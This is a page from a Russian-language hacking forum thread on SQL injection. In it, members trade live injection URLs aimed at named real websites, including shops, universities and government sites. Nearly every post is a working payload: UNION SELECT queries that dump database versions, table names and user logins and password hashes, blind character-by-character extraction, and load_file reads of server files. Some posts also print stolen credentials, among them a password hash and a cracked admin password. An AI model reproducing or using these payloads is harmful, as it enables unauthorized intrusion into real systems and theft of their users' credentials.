SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 138 of 798
  1. Y.Dmitriy

    Y.Dmitriy Banned

    Joined:
    14 Mar 2007
    Messages:
    208
    Likes Received:
    85
    Reputations:
    16
    какой-то Украинский политик...
    MSSQL
    какая-то газетка:)
    интернет магазин
    книжный магазин но тут MSSQL а я в ней не шарю:(
     
    #2741 Y.Dmitriy, 19 Jul 2007
  2. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Хех вот я немного раз... это самое... ладно вот:

    Code:
    http://www.uashops.com/top.php?type=&topic=-1+union+select+1,2,3,AES_DECRYPT(AES_ENCRYPT(VERSION()),0x31),0x31),5,6,7,8,9,10,11/*
    Ну вот версия 5.0.19-standard ну дальше смотрим имена таблиц и столбцов:

    Code:
    http://www.uashops.com/top.php?type=&topic=-1+union+select+1,2,3,AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x2D,TABLE_NAME,COLUMN_NAME),0x31),0x31),5,6,7,8,9,10,11 FROM INFORMATION_SCHEMA.COLUMNS/*
    Ну вот собсно говоря таблица users:

    Code:
    http://www.uashops.com/top.php?type=&topic=-1+union+select+1,2,3,AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x2D,id,login,pass),0x31),0x31),5,6,7,8,9,10,11%20FROM%20users/*
    Ну и наскока я понял это админы

    Code:
    http://www.uashops.com/top.php?type=&topic=-1+union+select+1,2,3,AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x2D,id,login,pass),0x31),0x31),5,6,7,8,9,10,11%20FROM users WHERE admin=1/*
    Только где админка хрен его... :(
     
    #2742 Dr.Z3r0, 19 Jul 2007
  3. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    здесь insert, сделать по-моему ничего нельзя
     
    #2743 Termin@L, 19 Jul 2007
  4. V.I.P

    V.I.P Elder - Старейшина

    Joined:
    6 Apr 2007
    Messages:
    69
    Likes Received:
    45
    Reputations:
    -6
    Сайт:www.agricbank.com

     
    #2744 V.I.P, 20 Jul 2007
  5. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Там два запроса... Прийдется подбирать по символу:
    Code:
    http://www.spu.in.ua/ua/search/?search_word=1') UNION SELECT 1 FROM pub WHERE id=IF(ASCII(SUBSTRING(VERSION(),1,1))>'50',1,(SELECT 1 UNION SELECT 2))/*
    Кстати это 5 версия там 33 таблицы...
    Для супер маньяков можно и поподбирать символы в названиях столбцов:
    Code:
    http://www.spu.in.ua/ua/search/?search_word=1') UNION SELECT 1 FROM pub WHERE id=IF(ASCII(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),1,1))>100,1,(SELECT 1 UNION SELECT 2))/*
     
    #2745 Dr.Z3r0, 20 Jul 2007
  6. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    Code:
    http://ruskino.ru/news/?id=-393+union+select+VERSION(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
     
    #2746 SWAT, 20 Jul 2007
  7. Barsik

    Barsik Блoxacтый

    Joined:
    16 Jan 2005
    Messages:
    267
    Likes Received:
    238
    Reputations:
    182
    Code:
    http://www.gaycentral.ru/news/?id=-1+union+select+1,2,VERSION(),4,5,6,7,8,9,10,11/*
http://www.superwriter.net/index.php?current_subsection=-3+UNION+SELECT+1,2,3,4,5,6,7,VERSION(),9/*
http://partytown.ru/music.php?id=-999+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,VERSION(),21/*
http://www.religion.no/bildebase/browse.php?action=overview&col=-9+UNION+SELECT+1,2,convert(concat(username,char(58),password)+using+latin1),4+FROM+arjan.users/*
     
    #2747 Barsik, 20 Jul 2007
    6 people like this.
  8. V.I.P

    V.I.P Elder - Старейшина

    Joined:
    6 Apr 2007
    Messages:
    69
    Likes Received:
    45
    Reputations:
    -6
    Mssql

    Ну вот нашарил скулей мелкософта.


    Сайт: www.russianlink.com

    Code:
    http://www.russianlink.com/article1.asp?text=articles&ID=1%20or%201=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+where+TABLE_NAME+NOT+IN+('tbl_dating','tbl_gossip','tbl_cards','tbl_girls','D99_Tmp','dtproperties','sysconstraints','syssegments','tbl_album','tbl_articles'))--
    //лень перебирать все таблицы.

    Сайт: www.bcs.ru

    Code:
    http://www3.bcs.ru/webclients/chips/showonenew.asp?id=1%20or%201=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
    Сайт: www.appartment.ru

    http://www.appartment.ru/app.asp?act=press&id=-1%20or%201=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--

    Сайт: www.nezachetov.net

    Code:
    http://nezachetov.net/shop/ozon/book/zakaz.asp?id=1%20or%201=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
    Сайт: www.volgogradinfo.ru

    Code:
    http://www.volgogradinfo.ru/shop/ozon/book/zakaz.asp?id=1%20or%201=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
     
    #2748 V.I.P, 20 Jul 2007
  9. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    ггг =) 84 столбца =-O такого я еще не встречал )
    Code:
    http://www.csc.ncsu.edu/directories/faculty_info.php?id=-1670+UNION+SELECT+1,2,3,4,5,user(),7,8,database(),version(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,now(),sin(pi()-2),32,33,34,35,36,37,38,39,40,41,42,43,44,45,446,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85/*
     
    #2749 ENFIX, 20 Jul 2007
    2 people like this.
  10. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    hттp://www.bluerunventures.com/news_releases.php?nid=-156+union+select+1,2,3,User,Password,user(),7+from+mysql.user/*
    pwruser
    396bcbca6cf1b3cf

    hттp://nam.kiev.ua/kaf/showkaf.php?K=-1+union+select+1,version(),database(),user(),5+/*
    hттp://jaguar.com.ua/?navid=1'

    не мое.. просто весело что давно уже
    hттp://www.president.gov.ge/?l=E&m=0&sm=1&st=0&id=-2269+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
     
    _________________________
    #2750 halkfild, 21 Jul 2007
  11. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    Code:
    http://partytown.ru/music.php?id=-59+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+cinema__user/*
    Code:
    http://www.thepalestra.com/music.php?id=-3171+union+select+1,login,id,email,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+users+limit+3570,1/*
     
    #2751 SWAT, 21 Jul 2007
    Last edited: 21 Jul 2007
    1 person likes this.
  12. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    read@localhost:library:4.0.20
     
    #2752 NOmeR1, 21 Jul 2007
    2 people like this.
  13. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    Code:
    http://www.treyporter.com/ylt/music.php?id=-5+union+select+1,table_name,3,4,5,6,7+from+information_schema.tables+limit+21,1/*
    Code:
    http://omahanightlife.com/thearts-music.php?p=view&id=-220+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+limit+57,1/*
     
    #2753 SWAT, 21 Jul 2007
    Last edited: 21 Jul 2007
    1 person likes this.
  14. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    http://www.stavki.info/index.php?page=forum&part=1&id=-1+union+select+1,concat_ws(0x3a,user(),database(),version())/*

    случайно ткнул,.. странно... не могу найти имя таблицы =\
     
    #2754 Sn@k3, 21 Jul 2007
    1 person likes this.
  15. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    http://www.uprava.org/section.php?id=-1+union+select+1,0x536e406b3320e2e8e4e8f220e2e0f12e20cbeeec20efeee4e1e8f0e0f220f2e0e1ebe8f6f3,3,4,5,6,7/*
     
    #2755 Sn@k3, 21 Jul 2007
    1 person likes this.
  16. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    Нашел багу в древнем модуле для PHP_Nuke :)
    Code:
    http://www.english4u.dp.ua/modules.php?name=Literature&op=Open&id=-1+union+select+1,2,3,4,5,6,user_password,8,9+from+nuke_users+where+username=0x446d69747279/*
    хэш админа.
    в админке привязка к айпи.

    ах да, забыл, пасс 'dima'
     
    #2756 n1†R0x, 22 Jul 2007
    Last edited: 22 Jul 2007
  17. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    Code:
    http://www.myshopasia.com/product_display.php?category_cd=-27+union+select+1,2,3,4,5/*
    Code:
    http://www.wi2wi.com/news_releases.php?nid=-135+union+select+1,2,3,user,User(),6,7+from+mysql.user/*
    Code:
    http://www.wnypolonia.com/directory/listings.php?catid=-16+union+select+1,VERSION(),3,4/*
    Code:
    http://www.mountainx.com/greenbuilding/listings.php?catid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,VERSION(),13,14,15,16,17/*
    Code:
    http://www.sputnik-video.ru/catalog.php?id=-58+union+select+1,2,3,login,pass,6,7,8+from+users/*
     
    #2757 SWAT, 22 Jul 2007
    Last edited: 22 Jul 2007
  18. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    /home/amandamc/public_html/lilly/pages/set.php
    Code:
    http://www.lilyandlotus.com/pages/set.php?id=324+union+select+1,2,user(),4,5/*
     
    #2758 Constantine, 22 Jul 2007
  19. Shram-spb

    Shram-spb Member

    Joined:
    6 Jun 2007
    Messages:
    64
    Likes Received:
    42
    Reputations:
    35
    Code:
    http://www.nelson.wisc.edu/dir/profile.php?id=-1+union+select+1,21,3,4,load_file(char(47,118,97,114,47,119,119,119,47,110,101,108,115,111,110,47,105,110,100,101,120,46,112,104,112)),6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,32,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,31,4,5,6,7,8,9,0,1,2,3,4
     
    #2759 Shram-spb, 22 Jul 2007
  20. 1NtR0

    1NtR0 Elder - Старейшина

    Joined:
    14 Apr 2007
    Messages:
    235
    Likes Received:
    89
    Reputations:
    35
    Code:
    http://www.wm.edu/niahd/journals/index.php?browse=date&id=-1+union+select+1,2,user(),4/*
http://www2.tju.edu.cn/orgs/alum/sun/fen/advice.php?id=1+union+select+database(),2,3/*
http://www.sadalapk.edu.ee/esileht.php?link=personal&id=opetaja&opid=1+union+select+1,user(),3,4,5,6,7,8,9/*
http://www.gfs.zju.edu.cn/shownews.php?id=1598+union+select+1,2,3,4,5,user(),7,8/*
     
    #2760 1NtR0, 22 Jul 2007
(You must log in or sign up to post here.)
Page 138 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.